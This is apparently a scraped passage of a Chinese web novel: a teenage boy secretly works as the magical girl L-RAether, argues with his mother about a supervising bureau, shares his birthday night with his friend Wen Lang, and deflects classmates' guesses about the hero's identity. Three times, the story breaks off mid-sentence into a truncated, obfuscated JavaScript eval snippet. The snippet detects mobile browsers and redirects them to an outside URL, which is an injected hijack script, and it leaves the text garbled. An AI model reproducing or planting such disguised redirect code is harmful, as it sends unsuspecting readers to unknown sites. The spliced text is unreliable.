;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478161|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的吗?这样既不会浪费时间等待,也能最大程度减缓损失——一定要听从派遣部的安排吗?就不能灵活一点吗?事急从权啊!” 面对罗乐安的控诉,胡女士难得没有生气,只是再次叹了声气,比刚刚那次要更沉重一些。 “乐乐,监管局或许有些规定的确很死板,但都是有道理的。” “强词夺理!” “湖灵市之前的确从来没出现过超自然现象,更没有什么怪物。最近这几个月的事件来得突然又蹊跷,监管局一开始没有监测到任何波动,所以才陷入被动。不过不久前其实已经安排好了负责人员,因此不会出什么大问题的……” “你们怎么就笃定不会出问题呢?” 罗乐安真生气了,气到直接鲤鱼打挺坐了起来。 尽管他知道消灭谵蘖是自己的任务,而且他也能够顺利解决,不需要其他人插手和帮忙,可他就是不满监管局的做法,总觉得那都是一群居庙堂的人在指指点点,外行指导内行什么的最讨厌了! “如果不是w……如果不是L-RAether,楼上那些人很可能会从那么高的地方跳下来,你们怎么保证他们不会……” “没有指派任务的时候,我是无法随意变身的。” 他饱含怒火的不满,被胡女士用一个冷静的“惊雷”打断。 她的声音乍一听很冷静,但只要仔细分辨,就能发现其中更多的,还是成年人的无奈,和无力。 胡之桃其实原本并不打算跟罗乐安说太多自己“工作”上的事,除了考虑到一些事物的保密性,她本身的态度也就是不想让儿子和这些事情有牵扯。 可这次,对方明显对她的选择明显非常不认同,她觉得有些事还是得解释清楚。 “首先,当时那个情况我的确无能为力,因为我没办法变身。” “怎么会……” “其次,你知道魔法少女们的任务,或者说目的,到底是什么吗?” “啊?” 罗乐安也没想到,这种气氛下,胡女士竟然还搞问答环节,但还是重新躺倒,乖乖回答问题。 “就……打败怪兽,保护普通人不受伤害,维护世界和平什么的……” “对,”胡女士维持着仰躺的姿势一动不动,眼睛出神地望向天花板,“但是你不觉得,魔法少女本身也是破坏世界稳定的一部分吗?” “诶???” 刚“仰卧”还不到一分钟的罗乐安,瞬间又“起坐”again。 “这话是什么意思?” “真正的和平并不应该依赖所谓的‘超级英雄’,只是当不可抗力出现的时候,的确是需要我这种人出场解决问题。” 胡之桃也跟着坐了起来。 “可是解决问题的人,并不应该过多打扰世界的发展,更不应该成为所谓的‘明星’受人追捧,否则她就会变成问题本身。也因此,派遣部的分配原则,就是打乱世界,换句话说,你妈妈我,是不可能在我们所在的这个世界变身的。” “……你等我先消化消化。” 罗乐安抓乱自己的头发,理了好几遍,终于找到了一处疑似bug的地方。 “我记得你之前说过,你是在十五岁的时候成为魔法少女的,但是直到十八岁才进入监管局不是吗?那这三年……” “因为监管局是在那一年才接入到我们所在的世界,然后一直风平浪静了二十多年,直到几个月前才出现怪物。” “所以那个L-RAether……” “是一直没有登记在册的‘黑户’,监管局也一直在查这个人的身份。” “……查到之后呢?会怎么处理啊?” “先管控起来,调查清楚力量来源再说——总之,罗乐安,我再一次警告,不,劝诫你,不要和这个人扯上关系。” “……” 见好大儿一直不说话,胡女士以为他又犯犟,不觉加重了语气。 “答应我。” 这叫他怎么答应啊! 罗乐安心里苦。 且不说自己对监管局的那个理论还持保留态度,最大的问题,是他本身就是那个“关系”啊! “我……” 他张了张嘴,正想要先假装答应,谁料就在这时,从自己的卧室里传来了几下敲击玻璃的“咚咚”声,打断了他的话。 50. BUCHU⑧ 静谧深夜中,突然传来敲击玻璃的声音,就算罗乐安胆子够大,心里也难免还是“咯噔”一下。 脑袋里面一瞬间过了许多“参考文献”,像是《梦魇绝镇》《夜魔》等等等等这些对心脏不是很友好的电影。 不过很快他就反应过来,这应该并不是什么怪物变态杀人狂,只是隔壁某个学霸,过来给自己送生日礼物而已。 想到这里,他松了口气,起身准备去迎接礼物,唔,还有那个送礼物的“生日老公公”。 只是他的动作没有胡女士快,刚站起来,身旁以为是有宵小入侵的亲妈就已经先一步跨进了房间。 然后他就听到两道同时响起的倒抽凉气的声音。 “胡……胡阿姨?” “……小朗?” “你大晚上的翻栏杆……只穿睡衣不冷吗?” “还、还行吧,我年轻——阿姨,你的脸……” 听到里间的对话越来越跑偏,罗乐安连忙跑进去跟胡女士解释。 “阿朗是来给我送礼……” “嗬——” 他的话还没说完,温朗就又倒抽了一口凉气。 甚至还一个没忍住,倒退了两步。 在后者身上连续出现两次失态,这的确是非常少见的现象,但是也的确是情有可原。 毕竟他也没料到大晚上的,灯光昏暗,先是遇到一张黑咕隆咚的的脸,紧接着又是一张惨白兮兮的脸,再熟悉的人经不住这么吓。 而两个面膜搭子——也称母子——在看到温朗的反应,终于后知后觉想起了自己此刻的“脸部状态”,连忙七手八脚地将脸上的面膜拿掉。 “行了,”胡之桃揉了揉眉心,话题中断了,她也没想继续了,“我先去睡了,你们两个聊吧,对了,别仗着明天休息就熬太晚,浪费我的面膜。” 说完,她转身离开了房间,只是刚出去没几秒,她就又折返回来。 “还有,小朗回去的时候记得走正门。真的是学好不容易,学坏一出溜……” “坏”的模范本人不满地鼓了下腮帮子,可还没等他抱怨,胡女士就又又折返回来。 “胡女士,有什么指示一次性说完吗?我门口的过门石都快被你磨秃了。” “放心,这次不是指示。” 一边说,胡女士一边走上前,将手搭在罗乐安肩膀上,用力一压,后者瞬间变矮。 “十八岁生日快乐,乐乐。希望你今后的日子,可以一直无忧无虑,平安顺遂。” 说罢,趁着儿子还没反应过来,她直接“吧唧”亲了对方额头一下。 然后—— “呸呸呸!行了,我这次真要去睡了,你也快点把脸上的面膜洗干净。” 这一次,房间里的两个人,等了足足三分钟,终是没再等到胡女士的“三回头”。 而罗乐安也终于反应过来,整张脸瞬间涨得通红,不知是因为被亲额头羞的,还是被亲妈的三连“呸”给气的。 “阿朗,你先坐,我去洗个脸,很快回来!” 他说很快,是真的很快,前后加起来不超过两分钟,出来的时候,温朗刚在书桌前坐下,甚至还没来得及将礼物盒从袋子里拿出来。 “倒也不用这么急啊。” 看着罗乐安褪去红色恢复白皙的脸上,那些还没擦干的水滴,他不禁有些失笑。 “谁让你一直吊我胃口,我都等一天了,好不容易才等到——话说你也太卡点了吧,竟然真的等零点才来……唔,让我来看看你到底给我准备了什么好东西~” “你不是最看重仪式感吗?而且我也考虑晚点来的话,应该也碰不上胡阿姨,结果没想到竟然还是碰上了。话说你们娘俩怎么会在这个时间一起敷面膜啊,搞得跟黑白无……” “呀——!!!” 温朗的话被罗乐安惊喜的尖叫声打断,后者捧着拆完包装的亚克力透明盒子手舞足蹈,兴奋得不能自已。 “帕恰狗的小屋实景手办!这个不是都停产了吗?你从哪里搞到的?” “二手市场上找的,刚好看到有人出,没费什么事儿。” 唔? 想到自己曾经在某鱼上翻了二十多页都没找到同款,罗乐安对温朗口中的“没费事”三个字深表怀疑。 “很贵的吧?” 他珍惜地抚摸着怀里的亚克力展示盒,感动得泪汪汪。 而温朗在看到他的荷包蛋泪眼后,笑着伸出手,宠溺地捏了捏对方比往常还要更加水润Q弹的腮帮子。 “还行,不过确实比你专门给我定制的那个小号‘人体老师’要贵一点。” “后悔了吗?后悔也没用!” 罗乐安搂紧展示盒,小嘴一噘,凶凶巴巴,“反正我是不会还给你的~” “放心,是你的。” 温朗轻声回道,而后站起身,准备离开。 “时间不早了,你早点休息,我就先回去了。” “诶?” 听到他的话,罗乐安连忙将手办放到床头柜上,一把拉住了他的睡衣衣角。 “等下啦!你要穿这身从楼外回去吗?太冷了啦!” “没关系,我身体很好。” “那也不行,如果你因为这种事情感冒发烧的话,别说叔叔阿姨,老韩头肯定第一个放不过我!” “干嘛突然cue韩主任啊……”温朗有些哭笑不得,“那我走阳台好了。” 说罢,他就要调转方向。 结果又被罗乐安拦在玻璃门前。 “不行,太晚了,光线不好,太危险了!” 说着说着,他还把自己给说生气了,“你说说你!我身上那么多优点,活泼可爱、善良正义……等等等等,反正那么多好的不学,偏偏学我翻栏杆,胡女士说的还真对!” 就着怒火,他穿着毛绒绒的兔子拖鞋,给了温朗小腿一脚。 不过后者并没有因此生气,反倒扬起一抹略带满足的笑容。 “更像你一点不好吗?” “唔?哪里好啊……算了,不说这个了,话说你已经洗漱好了对吧?” “……啊?嗯。” 温朗有些不明所以,一时没反应过来罗乐安把话题转到这里的意图。 直到他听到对方接下来的话—— “那就别折腾了,跟我挤一晚上,反正咱俩又不是没一起睡过。” 此话一出,温朗眼里的茫然瞬间被一抹精光取代,而后转瞬又被浓浓的暗影盖住。 他当然清楚罗乐安的“睡”就是单纯的睡觉,没有丝毫其他意思,可这话依旧令他感到心悸。 只能说在青春期这种特殊时期,就算再成熟冷静的人,也难以抵抗天然的生理上的雀跃和冲动。 “但……那都是初中以前的事了。” 耳廓红红的温朗,声音里有着不太自然的沙哑。 然而这些信息传达到“接收器”有点问题的罗乐安这里时,就被理解成了“嫌弃”。 “你嫌挤啊?放心吧,我这张床一米八呢,咱俩又都不胖,睡得下~而且现在是冬天,不会觉得热的,放心放心啦!” 一边说,他一边将人往床边带,之后一个用力,把人推到床的里侧。 还非常贴心地给人盖上被子。 “别磨叽了,胡女士说得对,早点睡,不能浪费今晚的面膜。” 再然后,他脱掉居家服,随手一扔,兔耳帽兜刚好挂住床尾的衣架,而穿着短袖睡衣的人,则已经飞快地钻进被窝。 “放心吧,我睡觉可老实了,你知道的。” 一颗毛茸茸的脑袋从被子里探出来,两根呆毛一颤一颤的,时不时戳中身旁人的鼻子。 唉。 温朗压下心中的叹息,身体不动声色地往后退。 奈何身后就是墙,很快他就退无可退了。 好在屋里暖气足,罗乐安没有贴上来,给了自己一丝喘息的空间。 算了,忍一下吧。 大不了多背几遍校规校训。 “嘿嘿~” 房间里安静了大概十分钟,原本温朗都以为罗乐安已经睡着了,没想到这人会冷不丁地突然笑了两声。 “这么开心吗?” “开心呀~我感觉我今年的生日愿望……一定能……实现……” “你许的什么愿望啊?” “……” “乐乐?” “呼……呼……” 听到身旁人的呼吸声愈加绵长,明显已经睡熟了,淡淡的牛奶沐浴露的味道钻入鼻腔,温朗无声叹了口气。 但很快又扬起嘴角。 果然,没有人能拒绝这个天然至极的人。 所以就算自己现在各方面都有点煎熬,却也还是甘之如饴。 “成年快乐,乐乐。” 他小声说道,尽管今天,哦,不,是昨天一天已经说过很多次了,他也还是想要再说一次。 “希望我的生日愿望……也能实现。” 这句话的声音更小,微不可查,像是说给他自己听的。 “晚安,乐乐。祝你做个好梦。” 温朗为了让自己这一晚能好过些,特意调整成了面向墙壁的姿势,但是依旧没睡好,总是处在一种半梦半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493805|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒的懵登状态。 特别是在凌晨三点左右的时候,熬了几个小时,他困得迷迷糊糊,马上就可以沉沉睡去了,结果后背突然感觉一热,一个毛茸茸的脑袋靠了过来。 唉。 他又一次在心里无声叹气,却也是无可奈何。 想要手动调整一下身后那人的睡姿,只是当温朗转过身时,却发现对方眉头紧锁,嘴唇颤动,似乎并不仅仅是睡懵了滚过来的样子。 做噩梦了吗? 罗乐安的确是在做梦,却算不上噩梦。 但也说不上是美梦——或者说,一开始的确是,但一个晃神,梦境的发展就变得……诡异了起来。 兴奋了整整一个白天,下午还上了强度,进行了一场虽然快速却极度耗费心力体力的战斗,尽管他还想跟温朗继续畅聊,可精力根本撑不住,没说几句话就睡着了。 然后,他在梦中先一步实现了自己的生日愿望。 成为了这个世界里广为人知的超级英雄,成功消灭了所有谵蘖,还抵御了来自外太空的邪恶势力。 而就在他即将接过“诺贝尔□□”的金色奖章时,一切都变了。 他,突然出现在了一个混沌的空间,一切都是模糊不清,他什么都看不到,也什么都感受不到,甚至有些时候,他感觉自己好像被分解开来,成为了这诡异空间的一部分。 感受不到呼吸,感受不到心跳,更感受不到时间的流逝。 可在某些时刻,他似乎又能看到和感受到什么,像是一个混乱又瑰丽的光团,时不时在他面前闪过。 罗乐安用仅存的意识告诉自己这是梦,只要醒过来就没事了。 不过任他如何抵抗挣扎,他依旧处在那个空间,就好像是被囚禁在梦中一样。 就这样,不知过了多久,就在他的意识即将彻底消散的时候,空间深处传来了一声呼唤。 【乐乐……】 很难形容这个声音的质感,但是罗乐安却觉得有一种既陌生又熟悉的感觉。 只是还没等他琢磨出答案,就听到了另一个完全陌生的声音。 【给我……还不够……】 给……什么? 声音的内容让他一头雾水,只觉得头脑更加混沌。 可那两个声音完全不顾他的死活,还在一句一句循环往复地播放着。 【乐乐……】 【找给我……】 【乐乐……】 【还要更多……】 【乐乐……】 【给我……更多……】 在声音的折磨中,罗乐安的意识彻底消散。 当意识回笼时,他终于醒了过来。 “乐乐……” 罗乐安维持举着叉子得姿势已经足足五分钟了,要不是听到自己的名字,大概率还会继续保持下去。 “啊?” 他哆嗦了一下子,望向餐桌对面,正和他一起吃早餐的温朗,回神的眼睛里浮现出茫然,“怎么了?” “……” 温朗眉头微拧,有些担心罗乐安的状态,又不好跟对方直说“已经嚼了好一会儿空气却什么东西都没吃”这种话,索性直接跳过。 “昨晚没睡好吗?” “唔……”罗乐安终于低头开始真正吃东西了,声音也因此变得有些含糊。 “有一点。” “是做梦了吗?” “嗯,应该吧,可是具体梦到什么,我已经没印象了。” 唯一的感觉,就是似乎对自己的名字出现了PTSD,一听到别人叫他“乐乐”,就感觉浑身发麻,就连最亲近的胡女士和温朗也不例外。 只是这种事也不好跟当事人直说。 沉默了一会儿,罗乐安低头吃了半根烤肠,终于后知后觉地反应过来一件事。 “咦?阿朗你怎么知道我做梦了?” 听到他的话,温朗并没有马上回答,似乎是有什么事情导致他有些犹豫。 他撂下手里的筷子,擦了擦手,又擦了擦嘴,而当做完所有这一切后,他终于酝酿好了情绪,缓缓开口。 “其实,你昨晚扑到我怀里说梦话了。” “诶?” 罗乐安闻言,有些紧张了。 自己竟然做了这么丢脸的事吗? “我、我说什么了?” “……” 对面的人又沉默了,过了大概半分钟,才再次开口。 “你叫我……爸爸。” 罗乐安:(··?) 罗乐安:Σ(°△°|||) “你说神马?!!!!” 51. GOURD① 12月3日。 天气,轻雪转晴,无风。 上午11:10,湖灵高中西校区篮球小操场,1班和16班正一起上难得在高三出现的体育课。 说是体育课,其实主要是自由活动,有些人打篮球,有些人绕着跑道遛弯,还有些人聚在操场边缘,不活动,纯自由聊天。 比如手柄侠,哦,不,是“L-RAether研究会”(除小学生温霁版)的成员们。 “……据说那天是因为有个学生压力太大胡言乱语,召唤出了怪物,所以学校才在复课之后,把体育课又加了回去,说给我们排解压力。” 任穗跟其他人分享着上午从其他班八卦来的消息,“好像是隔壁十五班的,刚巧就他们班的情况最惨,课桌椅都挤成一团,课本和卷子的损失也不小,听说他们班第一名因为这个,昨天都气哭了。” 说到这里,在一旁投了几轮篮的熊哲转着篮球凑过来,插话道:“既然是要排解压力,就不要这么早复课啊,在家多待几天不比什么都有效?” “我听说学校原本计划是停课一周的,但是很多家长不同意嘛,觉得会耽误高考,所以一号就开课了,新课桌还没到,隔壁班只能凑合用快要淘汰的旧桌椅。” 分享完第一手消息后,任穗晃着脑袋,开呛。 “果然,只有你们学渣才会不想要早点复课。” “什么‘你们’‘你们’的,你不也一样嘛,有什么资格说我啊!” “NO~我跟你不一样,我蜕变了——这次期中考试我成功‘脱渣入酥’,你看,我已经到了你所达不到的境界了。” “得意什么,照你这个嘚瑟劲儿,酥很快就会抖成渣了!” “呸呸呸!你少胡说!” …… 两个人就“学渣”和“学酥”的身份归属问题,开展了激烈的争论。 要是在以前,罗乐安肯定也会欠欠儿地过去搅混水,但今天他一点没有想要掺和的意思,只是叼着棒棒糖,倚着篮球架望天发呆。 “怎么了?” “唔?” 听到身侧传来的声音,罗乐安转过头,眼神懵懵地看向温朗,就见后者也倚上篮球架,正担忧地盯着自己。 “我看你一直在发呆,而且这几天话都变少了,也不是很精神……是遇到了什么烦心事吗?” “啊……” 罗乐安眨眨眼,没有回答温朗的话。 他其实只是反应还没跟上,可在后者看来,更像是回避,不禁有些失落。 “是……不方便跟我说吗?” “啊,不是不是!” 没想到自己的反应会造成这种误会,罗乐安连忙摆手。 “我就是……没休息好。” “又熬夜了?还是睡不着?” 听到他的话,温朗伸手撩起了罗乐安的刘海,仔细观察起对方的脸,“可是看你的脸色,好像……还好?” 脸蛋红润有光泽,就是眼神有些迷离。 “没有熬夜,也没有失眠,就是……” 说到这里,罗乐安晃了晃脑袋,头上的两根呆毛也跟着傻乎乎地转了两圈。 “就是这几天总是做梦。” “梦?你又梦到罗叔叔了?” “……不知道。” “不知道?” “我感觉我应该是做梦了,”罗乐安噘着嘴巴,眉头因为疑惑而微微蹙起,“但是事实上,每次醒来的时候我什么都不记得——咳,包括之前你告诉我我说梦话的那次也是——只是虽然什么都不记得,脑袋里面却还是会残留一种……闹哄哄的感觉,就好像是有人在我脑袋里面吵架?或者说,念经?” “这几天,每天都这样吗?” 因为他的话,温朗的眉头重重地拧了起来。 “你怎么不早点说?用不用去医院?” 说着,他拉过罗乐安的手,当下就只想带着人请假去看病。 还好被当事人及时拉住——并且是一手勾住篮球架才勉强把人拽住。 “哎呀哎呀,不用不用!” 他垫起脚,勉强勾住温朗的脖子。 “已经没事了,主要是前两天,今天早上已经没有难受的反应了,不用去医院,真不用,放心放心。” 听他这么说,温朗终于冷静了一些,主动弯下腰,让对方不用再费劲垫脚。 “没事就好。” “唉……” 罗乐安松开手臂,故作成熟地晃着脑袋,“真是的,感觉阿朗你最近总是冒冒失失的,不要总是盯着我的缺点学啊~” 温朗笑笑没回话,心里却叹了口气。 他也感觉自己最近——或者说从暑假之后就开始——有些不对劲,心里时不时就会又烦躁的感觉,特别是在遇到跟罗乐安相关的事,自己总会生出一些莫名的恐慌,就好像对方踏入到了一个未知又诡谲的领域,很可能一不小心就陷入危险。 可这也只是他自己的感觉,没有任何确切的证据,因此也不好跟罗乐安直说。 希望只是他想多了。 就在他俩“私聊”期间,那边任穗和熊哲的互呛也因为真·学霸常映月的介入而停战,回到了研究会的讨论正题上。 “……乐乐,你觉得呢?” “啊?什么东西我觉得啊?” 刚刚只顾着跟人说小话,根本没有听到前情的罗乐安,一边拉着温朗归队,一边问道。 “就是手柄……呸!就是L-RAether的真实身份啊,你觉得会是谁?” 听到这话,罗乐安的心跳瞬间加快,血色从脸颊上褪去,抓着温朗手腕的手更是不自觉地加重了力气。 “乐乐?” 见他脸色不好,温朗又紧张了。 “嗯?哦,我没事,是不是弄疼你了?” “……没有。” “那就好——老穗!你怎么突然问我这种问题啊?世界辣——么大,几十亿的人,我上哪儿知道去啊?” “老罗你反应干嘛那么大啊?” 任穗被对方突然放大的声音吓了一跳,但很快就呛了回去,“一看你刚刚就只顾着打情骂俏,根本没有有认真听讲!我会这么问当然是有理由的呀?因为我觉得,L-RAether的真面目,说不定就是我们身边的人。” 罗乐安刚刚才放松下来的身体骤然绷紧。 他松开拉着温朗的右手,挠挠脸,试图缓解自己的紧张。 “你……为什么会这么觉得啊?有证据吗?” “没有。”任穗回答得很干脆。 “呼……”罗乐安闻言,暗自松了口气。 “但是我就是有这种感觉~”任穗得意地晃着脑袋转折。 “……”罗乐安感觉自己刚刚那口气,松早了。 “理由呢?” 问这话的是温朗,他神色淡然,眉眼处却凝结着一抹不露声色的在意。 “理由就是那些怪物出现的地方啊。” 任穗有理有据,显然是经过深思熟虑的,“我上网搜集了所有关于L-RAether的看法,其中就有人统计了她出现的时间地点,我发现几乎每次我们都能撞见,像星光广场,漫展还有学校,你们不觉得太巧了吗?一次是偶然,难道次次都是偶然吗?” “这个世上没有偶然,有的只是必然。”* 常映月用淡然的声音,说出了那句经典台词。 声音虽轻,却有一种举重若轻的感觉,宿命感极强。 真不愧是天赋型的coser啊! 没忍住在心里感慨了一句,不过下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508072|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一秒罗乐安就疯狂摇头,并在心里恶狠狠地抽了一下心思涣散的自己。 现在是想这些的时候吗?! 尽管他很想反驳任穗没有证据就不要乱说,但这样太像找碴儿了,会显得他很心虚,要是真被对方看出什么反而不好。 只能先迂回打探,然后再想办法把自己摘出去。 但是动脑这种事,真的是他的短板啊! 如果…… 能把温朗的脑子借过来用就好了。 由于想得太过深入,罗乐安不自觉就盯着那个聪明脑袋出起了神,盯得后者难得有些窘迫。 “我……怎么了吗?” “啊,没。” 罗乐安尴尬地挠了挠后脑勺,刚好这个时候响起了“啪”一声的动静,几人扭头一看,是熊哲。 而对方并没有注意到自己手里的篮球落地,只是一味沉浸在震惊之中。 “所以,那个叫L什么什么的家伙,是我们认识的人?!!!” 乐、朗、穗、月:“……” 当初,到底是谁同意这个人进研究会的呢! “嗯嗯嗯?你们几个干嘛都这么看我?干嘛不说话?难道我理解错了吗?” 唔。 其实抛开可以绕地球三圈的反射弧不谈,这个结论倒是不能算错。 “也不一定认识,可能只是学校里的同学,反正应该就在学校里——就算不在,那也肯定是住在附近。” 任穗点点头,接上了话头,假装刚刚的尴尬都是错觉。 而听到她这么说,罗乐安也顾不上吐槽熊哲了,只想搅混水。 “也、也不一定就是同学啊,对不对?老师,还有家长,也都有可能啊,对不对?” “乐乐,你认真的吗?” 听到他的话,任穗瞪大眼睛,“‘魔法少女’啊,是‘少女’啊,这么重要的后缀怎么可以偏移呢?!” 那是你没见过蓝莓酱皮肤的胡女士,所以才会有这种刻板印象! 罗乐安在心里疯狂吐槽,面上却又不好强硬反驳,毕竟也不能暴露胡女士的身份。 还好,他刚好还可以顺着对面的话继续搅混水。 “真要这么说的话,东校区那些十五六岁年纪的,才更符合吧‘少女’的概念吧?” 唔? 任穗眨眨眼,感觉这个说法的确很有道理,而同样被洗脑带偏的,还有常映月和熊哲。 “所以……‘嫌疑人’就是高一高二的学妹们了吗?” 熊哲捏着下巴,故作深沉地压低嗓子。 常映月偏了偏脑袋,垂下眼睫,“也可能,是学弟。” “诶——?”任穗双手捂脸,嘴巴张成了《呐喊》模样。 “小月,你认真的吗?!!” “认真的,”常映月点点头,转头看向温朗,“温朗之前不是说过吗?他说从身型来判断,L-RAether更加可能是男孩子。” 这一点,之前温朗在说的时候,任穗其实并没怎么听进去,自然更是不认同,毕竟当时那个神秘的魔法少女跟自己的距离太过遥远,心中更偏向二次元的正统形象和标签。 可是现在,她都把人选集中在湖灵高中了,整件事情破了次元,很多原本离谱的猜想,现在也都不能一笑置之了。 只是当她真的想象一个穿小裙子的男生形象时…… 咦!(↓) 她还是不太能接受,后背鸡皮疙瘩都起来了。 于是任穗也将目光转向温朗,想要获得一个相反的答案。 “真的是……男生吗?” 温朗没有回答这个问题,而是另辟蹊径。 “其实,还有一种可能。” “嗯?” “说不定,这个人就在我们几个人里呢?” 52. GOURD② “说不定,这个人就在我们几个人里呢?” 温朗这话说得轻飘飘,效果却宛如一颗炸弹,给其他四个人一通乱炸,脑袋轰鸣。 不过四个人的“难后反应”却并不相同。 任穗:“诶——?!” 常映月:“你确定?” 熊哲:“不是吧,朗哥你竟然也会开玩笑?” 罗乐安:“……这哪里是玩笑,根本是惊吓好吧!” 尽管罗乐安的反应最大,却并没有引起其他几个人的过多关注,主要还是因为温朗那句话的威力着实太大。 “我只是随便猜猜,”温朗笑笑,连连摆手,“你们不用那么大反应。” “哎呦,吓我一跳,我还以为你真的知道什么内部消息呢。” 任穗长吁一声,明显是松了口气,“我刚刚已经不受控制想象熊哲穿小裙子的画面了——天啊!我的脑袋为什么一定要在这种时候转这么快!” 熊哲不忿:“喂!不要突然就人身攻击啊!而且怎么就不能是我了?!” 常映月扶额:“……倒也没必要在这种事情上较劲。” 最后,只有一直在意自己是否掉马的罗乐安,最为关心温朗提出这种猜想的原因。 “你……为什么会产生这种不切实际的想法呢?太、太荒谬了吧,哈哈哈!” “因为汐语市那次的事件啊。其他事件都发生在湖灵市,异地的只有这一次,巧的是,我们几个还都在现场——你们刚刚不是还说‘这个世上没有偶然,有的只是必然’吗?所以我觉得……” “你觉得……” 任穗这时候也暂停了跟熊哲的“开杠”环节,拉着常映月凑上来,忐忑地等待温朗的结论。 “我觉得……” “我知道了!” 温朗的推论到底还是没能说出来。 罗乐安一声大喝,成功将凝重的悬疑氛围打破。 “我知道了!星际之蛙一直摸你肚子!真相只有一个——” 穗、月、熊:“别啰嗦!快点说!” 罗乐安:“那我就说了——魔法少女的真面目,就是小葵!” 朗、穗、月、熊:“……” 这场碰头会到这里被迫告一段落,并没有讨论出什么结果。 倒不完全是因为罗乐安提出的方向太过荒谬,主要还是线索太少,少到几乎没有。 除此之外,是他们五个人的摸鱼行径实在是太过明目张胆,被一样摸了半节课鱼的体育老师抓获后,被迫分散开来,该打球的打球,该遛弯的遛弯,总之就是不能“聚众聊天”。 只是没过半个小时,研究会二次碰头会议就顺利继续召开了。 这次的会议地点改在了室内,在食堂二楼。 “上午最后一节上体育课就这点好,打饭绝对第一波,不用排队,也不用担心喜欢的菜卖没了。” 熊哲对着自己面前三盘堆得又高又满的鱼香肉丝盖饭、干锅花菜盖饭和超大份烧鸭饭,露出了满足的笑容。 尽管鱼香肉丝里大部分都是青椒胡萝卜,花菜里更是不见荤腥,而鸭腿也是袖珍而精致,可这并不影响他的幸福度。 倒是罗乐安,在看到餐盘里的南瓜米饭后,发出了一声沉重的叹息。 “我早该在大课间看到后厨搬南瓜的时候就想到了,但就是赌性不改,总在妄想。” 听到他的话,任穗也丧气地嘟起了嘴巴。 “高一高二搞万圣节活动,为什么要我们可怜的高三学生来收拾烂摊子啊!已经吃了一个月的南瓜了,我现在光是用看的就好顶啊!” 她的抱怨引起了广泛共鸣,连对吃的一向不挑的常映月,也在挑起一块南瓜后看了好一会儿,最后又默默放了回去。 “主要是校领导也没想到南瓜的收成会这么好。” 温朗深吸一口气,夹了块南瓜塞进嘴里。 他也快到极限了。 好在胜利的曙光就在前方。 “坚持过今天就好,明天应该就不会再有南瓜了。” “真的吗?” 罗乐安扒拉了口菜,然后被成功齁到,只能含泪吞了口南瓜米饭。 “我今天上午去了趟东校区,路过南瓜地的时候特意看了一下,除了那个最大的‘南瓜王’还在,其他的都被摘了,最晚到明天早上,肯定能吃完。” 此话一出,在座的除了熊哲,都感觉肩膀上的压力瞬间消失了。 总算完事儿了。 再吃几天,他们都要对万圣节PTSD了! 大概是“最后一餐”的消息太过美好,罗乐安和任穗的心情也舒畅了许多,甚至都没有对食堂好几年如一日的落后手艺,发表“每日一槽”。 于是话题,在几个“学习不积极分子”的把控下,绕过“成绩”,重新回到L-RAether的真实身份上。 “我觉得我的猜想没毛病啊,小葵真的很可疑。” 由于罗乐安对之前自己搅浑的那滩水很满意,因此他还在坚持之前的结论。 朗、穗、月、熊:“……” 梅开二度。 “总之……” 任穗总觉得今天这大半天,自己好像一直在无语,但罗乐安这人犯傻也不是一天两天了,她也不好说什么,只能低下头,逃避一般地吃了一口南瓜,然后难过地将脸撇向窗户的方向。 “咳,总之,嫌疑人应该就在学校里。” “没错没错,”熊哲这个时候也已经解决完了鱼香肉丝盖饭,正准备吃干锅花菜盖饭,“管他哪个校区,反正都是湖灵高中——对了任穗,帮我放下空餐盘,谢谢啦~” “嗯。” 常映月接过餐盘,将其放到自己身旁的空座上。 而温朗这个时候也将身子转向两个女生的方向,“话说你们有特别怀疑的对象吗?” 自此,四个人皆变成了后脑勺对着某个人的模样。 “……啧!” 尽管话题确实被成功带偏了,可面对如此明显的“孤立排外”,罗乐安还是莫名觉得不爽。 没错。 他有点儿——玩儿进去了。 罗乐安:“喂喂喂,你们是不是有点过分了!” 任穗:“我觉得前不久脚伤痊愈转学走了的那个女生,周羽嘉,她比较可疑。据我所知跟腱断裂根本不可能完全复原的,一定是因为遇到了机缘,所以才恢复的。” 罗乐安:“总共就五个人,你们竟然还搞小团体!” 常映月:“但是时间点对不上,那个女生康复退学前,L-RAether就已经开始活动了。会不会是九班的化学课代表?他偶尔也玩cos的。” 罗乐安:“难道我分析的不对吗?小葵身上的疑点就是很多呀!” 熊哲:“你们说,该不会是隔壁班的那个崔奇峰吧?他的确总是神神叨叨的。” 朗、穗、月:“你,去跟乐乐一块儿玩吧。” 罗乐安:“……不要无视我啊喂!而且最后那句话什么意思啊喂!” 午餐会议最后不欢而散。 但也只是单方面的。 主要是罗乐安一个人,孤立其他四个。 